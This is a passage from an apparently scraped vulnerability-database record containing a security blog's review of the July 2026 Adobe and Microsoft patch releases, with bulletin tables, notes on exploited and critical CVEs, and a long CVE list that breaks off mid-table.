Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:05:01.389665Z"}, {"uuid": "bc7c4f4f-2229-4f57-ae9d-e4eafaeffe07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54114", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  